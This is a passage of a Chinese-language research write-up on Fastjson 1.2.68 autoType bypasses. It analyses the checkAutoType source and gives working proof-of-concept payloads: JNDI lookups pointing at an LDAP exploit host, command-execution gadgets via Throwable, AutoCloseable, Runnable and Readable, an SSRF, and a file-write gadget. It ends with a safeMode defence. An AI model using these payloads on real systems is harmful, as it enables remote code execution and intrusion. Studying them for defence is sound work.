0xB40F341C746EC94FL,
0xB7E8ED757F5D13A2L,
0xBCDD9DC12766F0CEL,
0xC00BE1DEBAF2808BL,
0xC2664D0958ECFE4CL,
0xC7599EBFE3E72406L,
0xC8D49E5601E661A9L,
0xC963695082FD728EL,
0xD1EFCDF4B3316D34L,
0xD54B91CC77B239EDL,
0xD8CA3D595E982BACL,
0xDE23A0809A8B9BD6L,
0xDEFC208F237D4104L,
0xDF2DDFF310CDB375L,
0xE09AE4604842582FL,
0xE1919804D5BF468FL,
0xE2EB3AC7E56C467EL,
0xE603D6A51FAD692BL,
0xE9184BE55B1D962AL,
0xE9F20BAD25F60807L,
0xF3702A4A5490B8E8L,
0xF474E44518F26736L,
0xF7E96E74DFA58DBCL,
0xFC773AE20C827691L,
0xFD5BFC610056D720L,
0xFFA15BF021F1E37CL,
0xFFDD1A80F1ED3405L,
0x10E067CD55C5E5L,
0x761619136CC13EL,
0x3085068CB7201B8L,
0x45B11BC78A3ABA3L,
0x55CFCA0F2281C07L,
0xB6E292FA5955ADEL,
0xEE6511B66FD5EF0L,
0x100150A253996624L,
0x10B2BDCA849D9B3EL,
0x144277B467723158L,
0x14DB2E6FEAD04AF0L,
0x154B6CB22D294CFAL,
0x17924CCA5227622AL,
0x193B2697EAAED41AL,
0x1CD6F11C6A358BB7L,
0x1E0A8C3358FF3DAEL,
0x24D2F6048FEF4E49L,
0x24EC99D5E7DC5571L,
0x25E962F1C28F71A2L,
0x275D0732B877AF29L,
0x2ADFEFBBFE29D931L,
0x2B3A37467A344CDFL,
0x2D308DBBC851B0D8L,
0x313BB4ABD8D4554CL,
0x327C8ED7C8706905L,
0x332F0B5369A18310L,
0x339A3E0B6BEEBEE9L,
0x33C64B921F523F2FL,
0x34A81EE78429FDF1L,
0x3826F4B2380C8B9BL,
0x398F942E01920CF0L,
0x3B0B51ECBF6DB221L,
0x42D11A560FC9FBA9L,
0x43320DC9D2AE0892L,
0x440E89208F445FB9L,
0x46C808A4B5841F57L,
0x49312BDAFB0077D9L,
0x4A3797B30328202CL,
0x4BA3E254E758D70DL,
0x4BF881E49D37F530L,
0x4DA972745FEB30C1L,
0x4EF08C90FF16C675L,
0x4FD10DDC6D13821FL,
0x527DB6B46CE3BCBCL,
0x535E552D6F9700C1L,
0x5728504A6D454FFCL,
0x599B5C1213A099ACL,
0x5A5BD85C072E5EFEL,
0x5AB0CB3071AB40D1L,
0x5D74D3E5B9370476L,
0x5D92E6DDDE40ED84L,
0x5F215622FB630753L,
0x62DB241274397C34L,
0x63A220E60A17C7B9L,
0x665C53C311193973L,
0x6749835432E0F0D2L,
0x6A47501EBB2AFDB2L,
0x6FCABF6FA54CAFFFL,
0x746BD4A53EC195FBL,
0x74B50BB9260E31FFL,
0x75CC60F5871D0FD3L,
0x767A586A5107FEEFL,
0x7AA7EE3627A19CF3L,
0x7ED9311D28BF1A65L,
0x7ED9481D28BF417AL
};
Fastjson在1.2.42开始就把原本明文的黑名单改成了哈希过的黑名单，防止安全研究者对其进行研究：
<https://github.com/alibaba/fastjson/commit/eebea031d4d6f0a079c3d26845d96ad50c3aaccd>
Fastjson在1.2.61开始把黑名单从十进制数变成了十六进制数，以此来防止安全研究者进行搜索：
Fastjson在1.2.62开始，<https://github.com/alibaba/fastjson/commit/014444e6c62329ec7878bb6b0c6b28c3f516c54e中，从小写改成了大写：>
Git记录十进制和小写的十六进制数，不记录大写的十六进制数，网上没找到类似的仓库，为了弄清楚每个hash到底对应的是什么，GitHub上有人写了一个轮子来跑了一波，不过目前已经很久没有更新了：
<https://github.com/LeadroyaL/fastjson-blacklist>
下面我们接着来看，之后分别从getClassFromMapping、deserializers、typeMapping、internalWhite内部白名单中查找类，如果开启了expectClass期望类还要判断类型是否一致，可以到这里还未出现"autoTypeSupport"的判断，当已经可以返回clazz(示例类)了：
clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
这里的getClassFromMapping在com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings被赋值，添加了一些基本类，后续被当作缓存使用
private static void addBaseClassMappings(){
mappings.put("byte", byte.class);
mappings.put("short", short.class);
mappings.put("int", int.class);
mappings.put("long", long.class);
mappings.put("float", float.class);
mappings.put("double", double.class);
mappings.put("boolean", boolean.class);
mappings.put("char", char.class);
mappings.put("[byte", byte[].class);
mappings.put("[short", short[].class);
mappings.put("[int", int[].class);
mappings.put("[long", long[].class);
mappings.put("[float", float[].class);
mappings.put("[double", double[].class);
mappings.put("[boolean", boolean[].class);
mappings.put("[char", char[].class);
mappings.put("[B", byte[].class);
mappings.put("[S", short[].class);
mappings.put("[I", int[].class);
mappings.put("[J", long[].class);
mappings.put("[F", float[].class);
mappings.put("[D", double[].class);
mappings.put("[C", char[].class);
mappings.put("[Z", boolean[].class);
Class<?>[] classes = new Class[]{
Object.class,
java.lang.Cloneable.class,
loadClass("java.lang.AutoCloseable"),
java.lang.Exception.class,
java.lang.RuntimeException.class,
java.lang.IllegalAccessError.class,
java.lang.IllegalAccessException.class,
java.lang.IllegalArgumentException.class,
java.lang.IllegalMonitorStateException.class,
java.lang.IllegalStateException.class,
java.lang.IllegalThreadStateException.class,
java.lang.IndexOutOfBoundsException.class,
java.lang.InstantiationError.class,
java.lang.InstantiationException.class,
java.lang.InternalError.class,
java.lang.InterruptedException.class,
java.lang.LinkageError.class,
java.lang.NegativeArraySizeException.class,
java.lang.NoClassDefFoundError.class,
java.lang.NoSuchFieldError.class,
java.lang.NoSuchFieldException.class,
java.lang.NoSuchMethodError.class,
java.lang.NoSuchMethodException.class,
java.lang.NullPointerException.class,
java.lang.NumberFormatException.class,
java.lang.OutOfMemoryError.class,
java.lang.SecurityException.class,
java.lang.StackOverflowError.class,
java.lang.StringIndexOutOfBoundsException.class,
java.lang.TypeNotPresentException.class,
java.lang.VerifyError.class,
java.lang.StackTraceElement.class,
java.util.HashMap.class,
java.util.Hashtable.class,
java.util.TreeMap.class,
java.util.IdentityHashMap.class,
java.util.WeakHashMap.class,
java.util.LinkedHashMap.class,
java.util.HashSet.class,
java.util.LinkedHashSet.class,
java.util.TreeSet.class,
java.util.ArrayList.class,
java.util.concurrent.TimeUnit.class,
java.util.concurrent.ConcurrentHashMap.class,
java.util.concurrent.atomic.AtomicInteger.class,
java.util.concurrent.atomic.AtomicLong.class,
java.util.Collections.EMPTY_MAP.getClass(),
java.lang.Boolean.class,
java.lang.Character.class,
java.lang.Byte.class,
java.lang.Short.class,
java.lang.Integer.class,
java.lang.Long.class,
java.lang.Float.class,
java.lang.Double.class,
java.lang.Number.class,
java.lang.String.class,
java.math.BigDecimal.class,
java.math.BigInteger.class,
java.util.BitSet.class,
java.util.Calendar.class,
java.util.Date.class,
java.util.Locale.class,
java.util.UUID.class,
java.sql.Time.class,
java.sql.Date.class,
java.sql.Timestamp.class,
java.text.SimpleDateFormat.class,
com.alibaba.fastjson.JSONObject.class,
com.alibaba.fastjson.JSONPObject.class,
com.alibaba.fastjson.JSONArray.class,
};
for(Class clazz : classes){
if(clazz == null){
continue;
}
mappings.put(clazz.getName(), clazz);
}
}
这里可以先注意下java.lang.AutoCloseable类，deserializers.findClass在com.alibaba.fastjson.parser.ParserConfig#initDeserializers处被初始化，这里也是存放了一些特殊类用来直接反序列化：
private void initDeserializers() {
deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
deserializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp);
deserializers.put(java.sql.Date.class, SqlDateDeserializer.instance);
deserializers.put(java.sql.Time.class, TimeDeserializer.instance);
deserializers.put(java.util.Date.class, DateCodec.instance);
deserializers.put(Calendar.class, CalendarCodec.instance);
deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);
deserializers.put(JSONObject.class, MapDeserializer.instance);
deserializers.put(JSONArray.class, CollectionCodec.instance);
deserializers.put(Map.class, MapDeserializer.instance);
deserializers.put(HashMap.class, MapDeserializer.instance);
deserializers.put(LinkedHashMap.class, MapDeserializer.instance);
deserializers.put(TreeMap.class, MapDeserializer.instance);
deserializers.put(ConcurrentMap.class, MapDeserializer.instance);
deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);
deserializers.put(Collection.class, CollectionCodec.instance);
deserializers.put(List.class, CollectionCodec.instance);
deserializers.put(ArrayList.class, CollectionCodec.instance);
deserializers.put(Object.class, JavaObjectDeserializer.instance);
deserializers.put(String.class, StringCodec.instance);
deserializers.put(StringBuffer.class, StringCodec.instance);
deserializers.put(StringBuilder.class, StringCodec.instance);
deserializers.put(char.class, CharacterCodec.instance);
deserializers.put(Character.class, CharacterCodec.instance);
deserializers.put(byte.class, NumberDeserializer.instance);
deserializers.put(Byte.class, NumberDeserializer.instance);
deserializers.put(short.class, NumberDeserializer.instance);
deserializers.put(Short.class, NumberDeserializer.instance);
deserializers.put(int.class, IntegerCodec.instance);
deserializers.put(Integer.class, IntegerCodec.instance);
deserializers.put(long.class, LongCodec.instance);
deserializers.put(Long.class, LongCodec.instance);
deserializers.put(BigInteger.class, BigIntegerCodec.instance);
deserializers.put(BigDecimal.class, BigDecimalCodec.instance);
deserializers.put(float.class, FloatCodec.instance);
deserializers.put(Float.class, FloatCodec.instance);
deserializers.put(double.class, NumberDeserializer.instance);
deserializers.put(Double.class, NumberDeserializer.instance);
deserializers.put(boolean.class, BooleanCodec.instance);
deserializers.put(Boolean.class, BooleanCodec.instance);
deserializers.put(Class.class, MiscCodec.instance);
deserializers.put(char[].class, new CharArrayCodec());
deserializers.put(AtomicBoolean.class, BooleanCodec.instance);
deserializers.put(AtomicInteger.class, IntegerCodec.instance);
deserializers.put(AtomicLong.class, LongCodec.instance);
deserializers.put(AtomicReference.class, ReferenceCodec.instance);
deserializers.put(WeakReference.class, ReferenceCodec.instance);
deserializers.put(SoftReference.class, ReferenceCodec.instance);
deserializers.put(UUID.class, MiscCodec.instance);
deserializers.put(TimeZone.class, MiscCodec.instance);
deserializers.put(Locale.class, MiscCodec.instance);
deserializers.put(Currency.class, MiscCodec.instance);
deserializers.put(Inet4Address.class, MiscCodec.instance);
deserializers.put(Inet6Address.class, MiscCodec.instance);
deserializers.put(InetSocketAddress.class, MiscCodec.instance);
deserializers.put(File.class, MiscCodec.instance);
deserializers.put(URI.class, MiscCodec.instance);
deserializers.put(URL.class, MiscCodec.instance);
deserializers.put(Pattern.class, MiscCodec.instance);
deserializers.put(Charset.class, MiscCodec.instance);
deserializers.put(JSONPath.class, MiscCodec.instance);
deserializers.put(Number.class, NumberDeserializer.instance);
deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
deserializers.put(AtomicLongArray.class, AtomicCodec.instance);
deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);
deserializers.put(Serializable.class, JavaObjectDeserializer.instance);
deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);
deserializers.put(Comparable.class, JavaObjectDeserializer.instance);
deserializers.put(Closeable.class, JavaObjectDeserializer.instance);
deserializers.put(JSONPObject.class, new JSONPDeserializer());
}
这里的typeMapping默认为空需要开发自己赋值，形如
ParserConfig.getGlobalInstance().register("test", Model.class);
这里的internalWhite为内部白名单也就是之前提到的部分，到这里已经可以返回实例类了，之后我们继续来看后续的代码，可以看到这里会判断autoType是否开启，如果开启AutoType则会进行黑白名单匹配，如果在黑名单内则直接抛出异常，如果在在白名单内且expectClass不为NULL则还需要判断类型是否一致，如果不满足条件则抛出异常，否则就可以返回实例类了：
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
之后检查使用注解JSONType的类(有注解的类一般都是开发自行写的JavaBean)
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
} finally {
IOUtils.close(is);
}
之后检查是否开启AutoType或者有注解或者是期望类，则直接加载类，如果条件不满足或成功加载类后clazz不为NULL，则进一步判断是否有注解，如果有则加入mapping并直接返回实例类，如果没有注解则判断clazz是否继承或实现ClassLoader、javax.sql.DataSource、javax.sql.RowSet类，如果满足以上条件则直接抛出异常，这里这样做的目的主要是规避大多数的JNDI注入(JNDI注入大多数与DataSource类、RowSet类相关)，之后如果expectClass不为NULL，则检查clazz是否是expectClass的实现或继承，如果类指定了JSONCreator注解，并且开启了SupportAutoType则抛出异常：
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
最后判断是否开启autoTypeSupport，如果未开启则直接抛出异常，否则检查clazz是否为NULL，如果不为NULL则加入mapping，最后返回示例类：
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}
return clazz;
}
通过上面的分析，我们可以了解到这里的checkAutoType其实就是一个校验和加载类的过程，而且SupportAutoType的校验是最后进行的，这样做的目的之一正是为了实现基础类的任意反序列化的feature(特性)，这也就意味着需要通过逻辑来保证在这之前返回的类都是安全的，但也正是这个原因导致了AutoType的Bypass，同时我们可以看到当出现以下情况是会直接返回示例类：
* 白名单里的类(acceptHashCodes+INTERNAL_WHITELIST_HASHCODES(内部白名单))
* 开启了AutoType
* 使用了JSONType注解
* 指定了期望类(expectClass)
* 缓存mapping中的类
## 绕过实践
### Mapping绕过
首先，我们来回顾以下FastJSON
1.2.47的绕过——缓存mapping中的类，根据上面的校验原理部分我们可以了解到当mappings缓存中存在指定的类时，可以直接返回并且不受SupportAutoType限制，在TypeUtils.loadClass方法中，如果参数中cache值为true时，则会在加载到类之后，将类加入mappings缓存：
完整的代码如下：
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0 || className.length() > 128){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
之后全局查找所有调用了该函数位置，并且cache设置为true的函数，发现只有它的重载函数：
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
之后继续寻找调用了该重载的地方，发现在MiscCode处有调用：
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
上面的逻辑是当class是一个java.lang.Class类时，会去加载指定类(从而也就无意之间加入了mappings缓存)，而java.lang.Class同时也是个默认特殊类——deserializers.findClass指定类，可以直接反序列化，所以可以首先通过反序列化java.lang.Class指定恶意类，然后恶意类被加入mappings缓存后，第二次就可以直接从缓存中获取到恶意类，并进行反序列化：
1.2.47的有效载荷如下：
```java
package com.FastJson1242;
import com.alibaba.fastjson.JSONObject;
public class Poc {
public static void main(String[] argv){
String payload ="{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"b\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"ldap://localhost:1099/Exploit\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
JSONObject.parseObject(payload);
}
}
执行结果如下：
### exceptClass期望类
#### ThrowableDeserializer
期望类的功能主要是实现/继承了期望类的class能被反序列化出来且不受autotype影响，默认情况下exceptClass这个参数是空的，也就不存在期望类的特性，之后全局搜索checkAutoType的调用，且条件是exceptClass不为空：
从上面的搜索结果中可以看到在JavaBeanDeserializer、ThrowableDeserializer中调用了checkAutoType并且exceptClass不为空，我们这里先来看一下ThrowableDeserializer，该类主要是对Throwable异常类进行反序列化，我们可以在ParserConfig.getDeserializer中找到对应的反序列化示例类型：
com\alibaba\fastjson\1.2.68\fastjson-1.2.68-sources.jar!\com\alibaba\fastjson\parser\ParserConfig.java 826
可以从上面看到ThrowableDeserializer是Throwable用来反序列化异常类的，我们先来看一下ThrowableDeserializer，可以看到在ThrowableDeserializer中可以根据第二个@type的值来获取具体类，并且根据传入的指定期望类进行加载：
因此可以反序列化继承自Throwable的异常类，在这里我们可以借助setter、getter等方法的自动调用，来挖掘gadget，下面是浅蓝师提供的一个Gadget：
```java
package org.heptagram.fastjson;
import java.io.IOException;
public class ViaThrowable extends Exception {
private String domain;
public ViaThrowable() {
super();
}
public String getDomain() {
return domain;
}
public void setDomain(String domain) {
this.domain = domain;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec("cmd /c ping "+domain);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}
测试载荷：
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSONObject;
public class ThrowableMain {
public static void main(String[] args) {
String payload ="{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\": \"org.heptagram.fastjson.ViaThrowable\",\n" +
" \"domain\": \"qbknro.dnslog.cn|calc\"\n" +
"}";
JSONObject.parseObject(payload);
}
}
在上面的载荷中我们一共传入了两个@type，其中第一个是期望类(expectClass)，第二个是需要反序列化的类，经过这样构造后在检查AutoTypeSupport之前就已经返回了clazz，之后接着为期望类选择反序列化的解析器，从而匹配到了Throwable.class，之后当扫描到第二个@type指定的类名后将其作为exClassName传入checkAutoType，此时checkAutotype传入的第二个参数为Throable.class也为Exception.class的接口，此时如果exClassName是实现或继承自Throwable就能过checkAutotype，下面是执行的结果：
#### JavaBeanDeserializer
在fastjson中对大部分类都指定了特定的deserializer，如果未指定则会通过createJavaBeanDeserializer()来指定deserializer，通常情况下都是一些第三方类才会调用到这里：
/com/alibaba/fastjson/1.2.68/fastjson-1.2.68-sources.jar!/com/alibaba/fastjson/parser/ParserConfig.java
832
在FastJSON中com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings用于添加一些基本的类并将其当做缓存使用，但是在查看时可以发现这里的额外加载了一个java.lang.AUtoCloseable类，同时并未为其指定deserializer，因此会走到最后的else条件中去，之后对应的JavaBeanDeserializer，而且java.lang.AUtoCloseable类位于mapping缓存中，所以可以无条件反序列化：
和之前一样，我们可以通过继承或者实现AutoCloseable类来绕过autotype反序列化检测，测试代码如下：
package org.heptagram.fastjson;
import java.io.IOException;
import java.io.Closeable;
public class ViaAutoCloseable implements Closeable {
private String domain;
public ViaAutoCloseable() {
}
public ViaAutoCloseable(String domain) {
this.domain = domain;
}
public String getDomain() {
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
} catch (IOException e) {
e.printStackTrace();
}
return domain;
}
public void setDomain(String domain) {
this.domain = domain;
}
@Override
public void close() throws IOException {
}
}
载荷构造：
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSONObject;
public class AutoCloseableMain {
public static void main(String[] args) {
String payload ="{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.heptagram.fastjson.ViaAutoCloseable\",\n" +
" \"domain\": \" wme8bg.dnslog.cn| calc\"\n" +
"}";
JSONObject.parseObject(payload);
}
}
执行结果如下：
在这里我们查看以下AutoCloseable类的继承关系，可以看到通过AutoCloseable来Bypass
AutoType我们找寻Gadget的范围则变得更加宽广，常用的流操作、文件操作、socket等等都继承自AutoCloseable：
在查阅相关资料的时候看到Y4er师傅在其文章中描述到FastJson在黑名单中新增的java.lang.Runnable、java.lang.Readable类也可以用于Bypass
AutoType，下面是Y4er师傅提供的载荷：
A、Runnable：
package org.heptagram.fastjson;
import java.io.IOException;
public class ExecRunnable implements AutoCloseable {
private EvalRunnable eval;
public EvalRunnable getEval() {
return eval;
}
public void setEval(EvalRunnable eval) {
this.eval = eval;
}
@Override
public void close() throws Exception {
}
}
class EvalRunnable implements Runnable {
private String cmd;
public String getCmd() {
System.out.println("EvalRunnable getCmd() "+cmd);
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
} catch (IOException e) {
e.printStackTrace();
}
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
@Override
public void run() {
}
}
执行载荷：
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSONObject;
public class ExecRunnableMain {
public static void main(String[] args) {
String payload ="{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.heptagram.fastjson.ExecRunnable\",\n" +
" \"eval\":{\"@type\":\"org.heptagram.fastjson.EvalRunnable\",\"cmd\":\"calc.exe\"}\n" +
"}";
JSONObject.parseObject(payload);
}
}
执行结果：
B、Readable：
package org.heptagram.fastjson;
import java.io.IOException;
import java.nio.CharBuffer;
public class ExecReadable implements AutoCloseable {
private EvalReadable eval;
public EvalReadable getEval() {
return eval;
}
public void setEval(EvalReadable eval) {
this.eval = eval;
}
@Override
public void close() throws Exception {
}
}
class EvalReadable implements Readable {
private String cmd;
public String getCmd() {
System.out.println("EvalReadable getCmd() "+cmd);
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
} catch (IOException e) {
e.printStackTrace();
}
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
@Override
public int read(CharBuffer cb) throws IOException {
return 0;
}
}
攻击载荷：
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSONObject;
public class ExecReadableMain {
public static void main(String[] args) {
String payload ="{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.heptagram.fastjson.ExecReadable\",\n" +
" \"eval\":{\"@type\":\"org.heptagram.fastjson.EvalReadable\",\"cmd\":\"calc.exe\"}\n" +
"}";
JSONObject.parseObject(payload);
}
}
执行结果：
$ref拓展使用
在checkAutoType检查分析部分我们说道找寻合适的JNDI较为困难，其原因是大多数JNDI的gadget都继承自DataSource和RowSet，所以反序列化的类过不了checkAutoType的检查，那么JNDI注入真的就无法使用了吗？浅蓝师傅和threedr3am师傅给出了关于通过$ref引用功能来触发getter的方法，理论上我们可以通过这种方式实现RCE，而且还能够在不开启AutoType的情况下，任意调用大部分当前反序列化对象的getter方法，如果存在危险的method则可以进行攻击，下面我们分别来看一下具体的方法：
浅蓝师傅给出的示例(原来的基础上稍有变形)：
package org.heptagram.fastjson;
import javax.activation.DataSource;
import javax.activation.URLDataSource;
import java.net.URL;
public class RefSSRF extends Exception {
public RefSSRF() {
}
private DataSource dataSource;
public DataSource getDataSource() {
return dataSource;
}
public void setDataSource(URL url) {
this.dataSource = new URLDataSource(url);
}
}
执行载荷：
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSON;
public class RefSSRFMain {
public static void main(String[] args) {
String a ="{\n" +
" \"@type\": \"java.lang.Exception\",\n" +
" \"@type\": \"org.heptagram.fastjson.RefSSRF\",\n" +
" \"dataSource\": {\n" +
" \"@type\": \"java.net.URL\",\n" +
" \"val\": \"http://127.0.0.1:4444/Exploit\"\n" +
" }\n" +
"}";
JSON.parseObject(a);
}
}
执行之后可以看到有请求过来：
这里我们对原理做一个简单的介绍：
可以看到载荷中一共传入了两个@type，其中第一个为java.lang.Exception，它是Throwable的继承类，而用于反序列化Throwable异常类的是ThrowableDeserializer，所以又进入到了之前的execeptClass部分，之后根据根据第二个@type的值来获取具体类，并且根据传入的指定期望类进行加载：
之后在RefSSRF中将第二个@type的数值作为参数传入，同时注意到这里的setDataSource的参数是URL类型，在FastJSON中URL类型允许被反序列化，也就是说可以调用到setDataSource方法，并且实例化一个URLDataSource对象：
如果我们要实现SSRF那么我们可以通过调用URLDataSource的getInputStream()方法来触发连接请求，而使用JSON.parseObject在解析JSON时默认就会调用getInstance()(在setXXX之后调用)，从而实现SSRF:
通过$ref引用功能，我们可以触发大部分getter方法，理论上当存在危险的method方法时我们可以通过此种方法在不开启AutoType的情况下来实现RCE，下面以threedr3am师傅提供的payload为例(代码部分取自Y4er师傅)：
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSON;
import org.apache.shiro.jndi.JndiLocator;
import org.apache.shiro.util.Factory;
import javax.naming.NamingException;
public class RefRCE <T> extends JndiLocator implements Factory<T>, AutoCloseable {
private String resourceName;
public RefRCE() {
}
public T getInstance() {
System.out.println(getClass().getName() + ".getInstance() invoke.");
try {
return (T) this.lookup(this.resourceName);
} catch (NamingException var3) {
throw new IllegalStateException("Unable to look up with jndi name '" + this.resourceName + "'.", var3);
}
}
public String getResourceName() {
System.out.println(getClass().getName() + ".getResourceName() invoke.");
return this.resourceName;
}
public void setResourceName(String resourceName) {
System.out.println(getClass().getName() + ".setResourceName() invoke.");
this.resourceName = resourceName;
}
@Override
public void close() throws Exception {
}
}
载荷部分：
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSON;
public class RefRCEMain {
public static void main(String[] args) {
String json = "{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.heptagram.fastjson.RefRCE\",\n" +
" \"resourceName\": \"ldap://localhost:1099/Exploit\",\n" +
" \"instance\": {\n" +
" \"$ref\": \"$.instance\"\n" +
" }\n" +
"}";
System.out.println(json);
JSON.parse(json);
}
}
执行结果：
#### 文件相关操作
Gadget寻找思路(浅蓝师傅提供)：
* 通过set方法或构造方法指定文件路径的OutputStream
* 通过set方法或构造方法传入字节数据的OutputStream，并且可以通过set方法或构造方法传入一个OutputStream，最后可以通过 write方法将传入的字节码write到传入的OutputStream
* 需要一个通过set方法或构造方法传入一个OutputStream，并且可以通过调用toString、hashCode、get、set、构造方法调用传入的 OutputStream的flush方法
下面是个网络上公开的一个Gadget，目前只适用于JDK11版本：
```java
$ echo -ne "RMB122 is here" | openssl zlib | base64 -w 0
eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==
$ echo -ne "RMB122 is here" | openssl zlib | wc -c
22
载荷如何：
```java
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':
{
'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit':22
}
},
'bufLen':1048576
},
'protocolVersion':1
}
测试载荷：
package org.heptagram.fastjson;
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class FileWrite {
public static void main(String[] args) throws IOException {
String json = "{\n" +
" '@type': \"java.lang.AutoCloseable\",\n" +
" '@type': 'sun.rmi.server.MarshalOutputStream',\n" +
" 'out': {\n" +
" '@type': 'java.util.zip.InflaterOutputStream',\n" +
" 'out': {\n" +
" '@type': 'java.io.FileOutputStream',\n" +
" 'file': 'e:/filewrite.txt',\n" +
" 'append': false\n" +
" },\n" +
" 'infl': {\n" +
" 'input': {\n" +
" 'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',\n" +
" 'limit': 22\n" +
" }\n" +
" },\n" +
" 'bufLen': 1048576\n" +
" },\n" +
" 'protocolVersion': 1\n" +
"}";
JSON.parse(json);
}
}
执行结果：
## 防御措施
开启safeMode
ParserConfig.getGlobalInstance().setSafeMode(true);
## 参考链接
<https://b1ue.cn/archives/348.html>
<https://b1ue.cn/archives/382.html>
<https://y4er.com/post/fastjson-bypass-autotype-1268/>
